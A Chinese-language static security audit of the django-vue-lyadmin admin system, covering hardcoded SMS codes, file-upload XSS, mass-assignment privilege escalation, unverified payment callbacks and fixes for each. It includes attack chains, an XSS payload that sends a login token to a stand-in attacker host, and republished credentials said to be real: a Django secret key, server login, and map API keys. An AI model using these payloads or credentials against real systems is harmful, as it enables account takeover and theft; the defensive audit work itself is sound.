django-vue-lyadmin 安全审计报告
审计对象:
django-vue-lyadmin(mini 精简版,Python Django 4.1.8 + Vue3 前后端分离中后台管理系统,含商城/支付/短信/WebSSH 等模块)
审计方式:静态代码审计(仅读代码,未运行项目、未发起真实支付/短信请求)
审计范围:backend/(178 个 py 文件,约 1.6 万行)、frontend/与frontend_vite/(约 2 万行)、lyadmin_db.sql、docker/nginx 配置、git 历史
披露级别:完整披露(凭据原文公开,供审计与防御参考;若你正在使用本项目,请先阅读第 9 节并立即轮换相关凭据)
⚠️ 本报告包含真实凭据原文,博客公开可见。文中涉及的 SECRET_KEY、地图 API 密钥、SQL 脚本中的服务器口令均为源码仓库中真实存在的内容,任何线上使用该项目的实例都应视为已失陷,须立即轮换。
1. 总体结论
本项目是一个功能完整的企业级后台脚手架,RBAC 权限、数据级权限、乐观锁、事务等安全设计有不错的底子,但存在 3 个可导致任意账号接管 / 权限提升 / 存储型 XSS 的严重漏洞,且整体配置(SECRET_KEY 硬编码、DEBUG 默认开启、无登录限速、支付回调不校验金额、SQL 种子文件泄露真实服务器凭据)不满足生产上线条件。
等级:数量 | 说明
🔴 严重:3 | 任意账号接管、存储型 XSS→提权、垂直越权到超管
🟠 高危:6 | 密钥硬编码、登录爆破、支付金额未校验、真实凭据泄露、上传越权、WebSSH 凭据明文
🟡 中危:9 | 异常信息泄露、前端 XSS、JWT 过长、CORS、无口令 Redis、业务逻辑、依赖 EOL 等
🟢 低危:8 | 占位密钥入库、默认口令、日志敏感信息、GET 副作用等
2. 🔴 严重漏洞
2.1 短信验证码硬编码为 123456 → 任意账号接管(CWE-798)
位置:backend/apps/logins/views.py:202-207
# 验证码过期时间
codeexpire = 120 # 120秒,默认2分钟
# 生成验证码
# code = self.generate_code()
code = 123456 # ← 随机生成被注释,验证码写死
# 存储短信验证码到redis
redis_conn.setex('sms_%s' % mobile, codeexpire, code)
SendSmsCodeView 不需要任何认证(authentication_classes = ()),验证码被固定为 123456,并写入 Redis。虽然真实短信发送(腾讯云)仍会执行,但发出去的验证码同样是 123456。
攻击链(无需任何账号):
POST /api/app/sendsms/{mobile: 受害者手机号}(60 秒/号限频,可等待或换号绕过)POST /api/app/mobilelogin/{mobile: 受害者手机号, code: 123456}→ 返回受害者 JWT(access/refresh 有效期 7/15 天)
影响:
/api/app/mobilelogin/→ 登录任意前端用户(identity=2)/api/app/restpassword/→ 重置任意用户密码/api/app/register/→ 注册任意手机号/api/app/wxbindlogin/、/api/app/wxlogin/→ 绑定微信
修复:
- 恢复随机验证码生成:
code = self.generate_code() - 短信发送失败时不得落库(当前先落库后发短信,发送失败仍可用 123456 登录)
- 增加 IP 维度限频 + 图形验证码 + 单号每日次数上限
- 验证码尝试次数限制(如 5 次失败即失效)
2.2 任意文件上传(先写盘后校验)→ 存储型 XSS → 管理员接管(CWE-434)
位置:backend/utils/imageupload.py:28-70
for img in image:
img_name = img.name
# 图片类型content-type检查 ← 仅检查客户端自报的 content_type,可任意伪造
if not img.content_type.startswith('image/') and ... :
...
if not img_name.endswith(('.jpg', '.jpeg', '.png', 'gif', ...)): # ← 注意 'gif' 无点号
notimg_file.append(img_name) # 只记录,不拦截!
...
else:
# ← 无论扩展名是否在白名单,文件都会在此处被写入磁盘
f = open(image_path, 'wb')
for i in img.chunks():
f.write(i)
问题三重叠加:
- 先写盘、后统一报错:扩展名校验只是把文件名加入
notimg_file,文件本身已经落盘,最后才返回”格式不支持”。 - content-type 完全信任客户端,无 magic bytes / PIL 重编码校验。
- 文件名扩展名被保留:
renameuploadimg用os.path.splitext(srcimg)[1]取扩展名拼进新文件名,因此上传x.html会得到20260828120000_123.html。
触发上传的接口(均为已登录即可,见 3.3 的越权问题):
POST /api/app/uploadimage/(任意前端用户)POST /api/app/changeavatar/(任意前端用户)POST /api/platformsettings/uploadplatformimg/(任意登录用户,仅IsAuthenticated,无后台权限校验)
攻击链:
- 任意注册一个前端账号(或直接用 2.1 接管一个)
- 上传
evil.html(content-type 伪装成image/png),内容为窃取脚本:
“`html
<script>fetch(‘//attacker/x?’+localStorage.getItem(‘logintoken’))</script>
“`
- 文件以
text/html经streamingmedia_serve(mimetypes.guess_type按扩展名推断 MIME)从同源/media/frontendimages/2026-08-28/xxx.html提供 - 诱导管理员访问该 URL(或插入公告/轮播图)→ 同源 XSS → 读取
localStorage['logintoken'](前端默认STORAGE_METHOD === "localStorage"存 JWT)→ 以管理员身份登录后台
修复:
- 校验顺序改为”先校验后写盘”,白名单扩展名带点号且大小写统一(
.gif而不是gif) - 用 PIL 重新解码/重编码图片,丢弃一切非图片内容
- 上传目录禁止执行脚本,且对
.html/.svg/.xml等一律以application/octet-stream或强制下载头提供 - 管理端上传接口加
CustomPermission后台权限校验 - 前端 token 不要放 localStorage(改 httpOnly cookie 或内存 + refresh 机制)
2.3 update_user_info 批量赋值 → 任意后台用户提权为超级管理员(CWE-915)
位置:backend/mysystem/views/user.py:116-120
def update_user_info(self,request):
"""修改当前用户信息"""
user = request.user
Users.objects.filter(id=user.id).update(**request.data) # ← 绕过序列化器,直接 update
return SuccessResponse(data=None, msg="修改成功")
request.data 未经任何白名单过滤直接 update()。Users 继承 AbstractUser,包含 is_superuser、is_staff、identity、role、balance 等字段。
攻击链:
- 任意后台账号(系统管理员即可,个人中心菜单对全部登录后台用户开放)登录
PUT /api/system/user/user_info/body:{"is_superuser": true}- 由于
CustomPermission.has_permission对is_superuser直接放行(permission.py:52),立刻获得全部接口权限
修复:
- 使用序列化器 + 显式白名单字段(如 name/mobile/email/gender),禁止
**request.data直传 - 对
is_superuser/is_staff/identity/role/balance等敏感字段强制只读
3. 🟠 高危漏洞
3.1 SECRET_KEY 硬编码 + DEBUG=True + ALLOWED_HOSTS=”*”(CWE-798 / CWE-489 / CWE-16)
位置:backend/application/settings.py:32-37
SECRET_KEY = 'django-insecure-n=x1q3sl^3va9tb&ty$p1b+kob@eb%wh0bn&8yj&!bp05201314'
DEBUG = locals().get("DEBUG", True) # config.py 中 DEBUG = True
ALLOWED_HOSTS = ["*"]
SECRET_KEY使用django-insecure-前缀(startproject --insecure生成),完整硬编码在公开仓库中- simplejwt 未单独配置签名密钥,JWT 使用该 SECRET_KEY 以 HS256 签名
影响:
- 任何人可下载源码 → 用 SECRET_KEY 自签
{"token_type":"access","user_id":"<任意>",...}的 JWT → 伪造任意用户身份(含 superadmin)。JWTAuthentication的AUTH_HEADER_TYPES为JWT,Header 写法Authorization: JWT <token> DEBUG=True:Django 调试页泄露全部配置(含 DATABASES 口令)、环境变量、堆栈、SQLALLOWED_HOSTS=["*"]+ DEBUG:Host 头投毒(密码重置邮件等,本项目无邮件重置,影响降低)
若部署方按 README 修改了 SECRET_KEY,本项降为”配置风险”;否则按源码现状即为可利用。
修复:SECRET_KEY 走环境变量/密钥管理;生产 DEBUG=False;ALLOWED_HOSTS 白名单;JWT 单独使用 SIGNING_KEY。
3.2 登录接口无任何限速 → 后台口令爆破(CWE-307)
位置:backend/application/settings.py:405-412(节流配置被整体注释)+ mysystem/views/login.py:142-147
# 'DEFAULT_THROTTLE_CLASSES': (
# 'rest_framework.throttling.AnonRateThrottle',
# 'rest_framework.throttling.UserRateThrottle'
# ),
LoginView/CaptchaView/APPMobilePasswordLoginView/UsernamePassWordLoginView全部permission_classes = [],无 throttle- 验证码是
math_challenge(四则运算),可用 OCR 或打码平台程序化求解;且验证码无失败次数锁定 - JWT 有效期 7 天,爆破成功一次即可长期使用
修复:启用 DRF throttle;登录失败计数(Redis 原子 INCR + 锁定);验证码失败 N 次作废并记录 IP。
3.3 支付回调不校验金额(CWE-345)
位置:backend/apps/mall/views.py:1642-1728
微信回调:
amount = (resp.get('amount').get('total'))/100 # ← 计算了,但从未与订单金额比对
...
if trade_state == "SUCCESS": # 支付成功
order = OrderInfo.objects.filter(order_id=out_trade_no, pay_status=0, pay_method=2).first()
...
order.pay_status = 1
order.save()
orderpaysuccess(order.id) # 直接置为待发货
支付宝回调:
if trade_status == "TRADE_SUCCESS":#支付成功
order = OrderInfo.objects.filter(order_id=order_sn, pay_status=0, pay_method=3).first()
...
order.pay_status = 1
回调验签本身是有的(微信 verify_signature + AES-GCM 解密;支付宝 alipay.verify),但两者都没有把回调金额(amount/total_amount)与 order.total_amount 比对。一旦订单金额被篡改(见 2.3 可改 balance;购物车负数量 bug 可产生异常金额订单),或价格体系变动,存在”支付 0.01 元标记大额订单已付”的链路风险(当前需先攻破金额相关字段或业务流,故定高危而非严重)。
修复:回调内强制校验 回调金额 == order.total_amount 且 appid/mchid == 配置值;幂等处理(pay_status 已为 1 直接返回 success);orderpaysuccess 增加并发保护。
3.4 SQL 种子文件泄露真实服务器凭据(CWE-256 / CWE-798)
位置:backend/lyadmin_db.sql:1629
REPLACE INTO `tb_terminalserver` VALUES ('99508bdc6e454f50ba414f52089928b6',...,'124.222.222.225','测试服务器账号','lyadmintest','lyadmintest0008','','',0,NULL,22);
- 真实公网服务器 IP
124.222.222.225+ 明文账号密码lyadmintest / lyadmintest0008随仓库公开(项目在 Gitee 公开) - 同文件还包含
superadmin、admin用户的 PBKDF2 密码哈希(README 声明默认口令 123456,可离线爆破验证) tb_terminalserver模型本身密码/私钥字段也是明文存储(apps/lywebsocket/models.py)
修复:从仓库及历史中彻底移除该 SQL 与真实凭据;确认 124.222.222.225 上服务已轮换口令/下线;终端服务器口令使用加密存储(如 cryptography 信封加密 + KMS)。
3.5 API 安全签名密钥硬编码(CWE-798)
位置:backend/utils/apisecurity.py:12
key = 'lybbn_sxfwanwlaqwanctcswan999666'
接口防重放装饰器 @ly_api_security 的 HMAC 式 MD5 密钥直接写在源码里:md5(key|timestamp|random)。仓库公开 = 密钥公开,任何攻击者都能为任意请求伪造 auth-api 头并通过校验(时间戳 200 秒窗口内)。该机制形同虚设。
修复:密钥走配置/环境变量并定期轮换;算法升级为 HMAC-SHA256;重放防护的 Redis 键增加 per-IP 维度。
3.6 WebSSH 终端:凭据明文 + 任意终端服务器可达 + 不校验主机指纹(CWE-311 / CWE-322)
位置:backend/apps/lywebsocket/consumers.py:62-89、models.py:16-19、utils/middleware.py:253-320
TerminalServer的password/pkey/pkey_passwd明文存 DBTerminalConsumer.connect()对任何通过 JWT+WS 权限校验的连接直接accept+initssh(),无”该用户是否有权访问该终端服务器”的对象级校验paramiko.AutoAddPolicy()自动接受未知主机指纹 → 中间人风险- WS 协议校验:
sec-websocket-protocol: JWTLYADMIN, JWTlybbn<token>(token 以字面量lybbn分割,实现脆弱)
修复:终端服务器增加 ACL;密码/私钥加密存储;使用 RejectPolicy + 首次连接记录指纹;WS 协议解析改为标准 Bearer 形式。
4. 🟡 中危漏洞
#:漏洞 | 位置 | 说明
4.1:异常信息原样回显 | utils/exception.py:75 msg = str(ex) | 所有未捕获异常原文返回给客户端(含表名、路径、SQL 片段),叠加 DEBUG=True 泄露更多
4.2:前端存储型 XSS(v-html) | frontend/src/views/messageCenter/messagNotice.vue:40、platformSettingsother.vue:27(去标签代码被注释) | msg_content/value 富文本直接 v-html,若内容可被低权限者写入(公告、配置),则 XSS 所有浏览该页的管理员
4.3:JWT 有效期过长 | settings.py:424-432 | access 7 天 / refresh 15 天,ROTATE_REFRESH_TOKENS 开启但无吊销机制;单点登录 IS_SINGLE_TOKEN=False 默认关闭
4.4:CORS 全放开 | settings.py:299-300 | CORS_ORIGIN_ALLOW_ALL = True,任意源可读接口响应(未开凭据模式,但接口本身大量依赖 JWT 头,风险集中在信息读取)
4.5:Redis / Celery 无口令 | config.py:29 REDIS_PASSWORD=''、settings.py:497 | Redis 6379 默认暴露且无认证:可读 sms_%s 验证码键直接完成 2.1 攻击、缓存投毒、Celery broker 投毒执行任务
4.6:购物车负数数量 → 库存/金额异常 | apps/mall/views.py:878-896 | count 无下限校验,Redis hincrby 可减为负;下单时 stock_new = stock - count 可回补库存、total_amount 可为负(网关拒绝支付)
4.7:优惠券门槛校验错误 | apps/mall/views.py:1202-1206 | 用循环最后一款商品的 price*count 比对门槛,而非订单总额,门槛判定失真
4.8:订单地址不校验归属 | apps/mall/views.py:1104 | 任意 address_id 可下单,读到他人地址 id 即可用他人收货地址
4.9:依赖版本过旧(Django 4.1.8 EOL) | backend/requirements.txt | 4.1.x 已于 2023-12 停止安全维护;影响 4.1.x 的已公开 CVE 包括 CVE-2024-27351、CVE-2024-38875、CVE-2024-45230/31、CVE-2024-53907/08 等;simplejwt/DRF 等均未锁版本
4.10:地图 API 密钥硬编码为真实值 | utils/locationanalysis.py:66-67 | 百度 ak=LYGmcld2pgHXuocf4bqsyHABEfT9lf1B、sk=gAaECvBKFjeuLzlwVKNp5r80MRA7zMMe;腾讯 key=M4NBZ-STTK5-OARIA-Q7T4R-YO5OQ-MTB7O、secretkey=uCUAQVJKvx5OgvHuOYK5uFzI0CdisBvm,可被盗刷额度
4.11:支付宝网关指向沙箱 | utils/alipay.py:21 ALIPAY_URL='https://openapi.alipaydev.com/gateway.do?' | 上线未改会导致退款/转账请求打到沙箱网关
4.12:匿名接口泄露系统配置 | apps/platformsettings/views.py:222-241 | GetSystemConfigSettingsView 无需认证返回全部 SystemConfig 的 value,若配置内存放敏感项(支付/短信参数)即泄露
4.13:X-Forwarded-For 可伪造 | utils/request_util.py:30-36 | 取 XFF 最后一项记日志/入库,若反代配置不当可污染日志(日志注入面)
5. 🟢 低危 / 配置问题
#:问题 | 位置 | 说明
5.1:支付私钥占位文件入库 | backend/key/*.pem(5 个) | 全部为同一占位公钥(含 xxxx),且 app_private_key.pem 名下内容实为 PUBLIC KEY——开发者一旦按注释放入真私钥即公开泄露;git 历史已确认无真实私钥
5.2:默认口令 | README + lyadmin_db.sql | superadmin/123456、admin/123456;新建管理员默认密码 123456(mysystem/views/user.py:42)
5.3:日志敏感信息不掩码 | utils/middleware.py:54-93 | 仅掩码 password 类字段;短信验证码、token、支付回调(mall/views.py 中 logger.error 打印完整回调)明文入库/日志
5.4:Swagger 接口文档公开 | application/urls.py /lyapi/ /lyredoc/ | 完整暴露全部接口签名(README 已注明上线需注释)
5.5:GET 请求带副作用 | mall/views.py 取消订单/确认收货、address/views.py 删除地址 | 用 GET 改状态,配合爬虫/预取可能误触发
5.6:注册未校验手机号是否已注册 | apps/logins/views.py:406-441 | 重复注册触发唯一约束 → 500 / “数据有重复”信息泄露
5.7:exec(f"") 危险模式 | mysystem/initialize.py:43、apps/lycrontab/views/celery_periodic_task.py:44 | 当前仅拼接固定值,不可注入,但属危险编码模式
5.8:批量删除/对象级权限缺失 | utils/viewset.py:169-199 | destroy/multiple_delete 无 has_object_permission,仅靠数据级过滤兜底
6. 前端要点
- token 存储:
frontend/src/api/request.js使用getStorage('logintoken'),默认STORAGE_METHOD === "localStorage"→ XSS 即可取 token(放大 2.2 的利用) - 前端未发现硬编码的云厂商密钥;
ali-oss依赖存在(上传走 OSS 时注意密钥签发端) v-html共 2 处(见 4.2);tinymce 富文本编辑器内容需服务端做 HTML 白名单清洗frontend/与frontend_vite/为同构双份代码,两处均需同步修复
7. 基础设施
docker-compose.yml:仅定义了 django 服务;README 说明默认端口 mysql:3306/redis:6379 直接映射 → 配合 4.5 无口令 Redis,公网可直连docker_env/nginx/my.conf:常规反代配置,X-Forwarded-Proto https在/下写死、/api/下用$scheme,注意与后端getfulldomian的配合.gitignore:未忽略config.py、key/、lyadmin_db.sql(全部入库)
8. 攻击链汇总(按可落地性排序)
- 0 点击接管任意用户:
sendsms硬编码码 →mobilelogin(2.1) - 0 点击接管后台:
SECRET_KEY自签 JWT(3.1) - 任意前端用户 → 存储型 XSS → 后台管理员:上传
.html(2.2)→ 诱骗打开 → localStorage token - 任意后台用户 → 超管:
update_user_info批量赋值(2.3) - 爆破:无节流 + 数学验证码(3.2)
- 直接打服务器:
lyadmin_db.sql中的124.222.222.225凭据(3.4)
9. 修复优先级清单(可执行)
- 立即:轮换
SECRET_KEY(换get_random_secret_key()并环境变量化);DEBUG=False;改所有默认口令;下线/轮换124.222.222.225的lyadmintest账号;轮换百度/腾讯地图密钥;从 git 历史清除敏感文件(filter-repo) - 本周:修复 2.1(随机验证码 + 发送失败不落库 + 限频)、2.2(先校验后写盘 + PIL 重编码 + 上传目录禁脚本 + 管理端上传加权限)、2.3(白名单序列化)
- 两周内:登录节流、支付回调金额校验、Redis 加口令、JWT 密钥独立与有效期缩短、前端 token 移出 localStorage
- 持续:升级 Django 至受支持版本(≥4.2.14 或 5.x)、引入依赖漏洞扫描(pip-audit/npm audit)、上线前安全检查清单(DEBUG/Swagger/ALLOWED_HOSTS/CORS)
10. 附录
- 审计依据文件索引(均可在线获取,Gitee:
lybbn/django-vue-lyadmin) backend/application/settings.py/backend/config.pybackend/mysystem/views/{login,user}.py、backend/utils/{permission,viewset,apisecurity,middleware,exception,imageupload,alipay,weixinpay,locationanalysis}.pybackend/apps/{logins,lyusers,mall,platformsettings,lywebsocket,address}/backend/lyadmin_db.sql、backend/key/frontend/src/(api/request.js、views/messageCenter/messagNotice.vue、views/platformSettings/platformSettingsother.vue)- 免责声明:本报告基于静态代码分析,未做动态验证;部分漏洞的实际可利用性取决于部署配置。报告仅供安全审计与防御参考,请勿用于非法用途。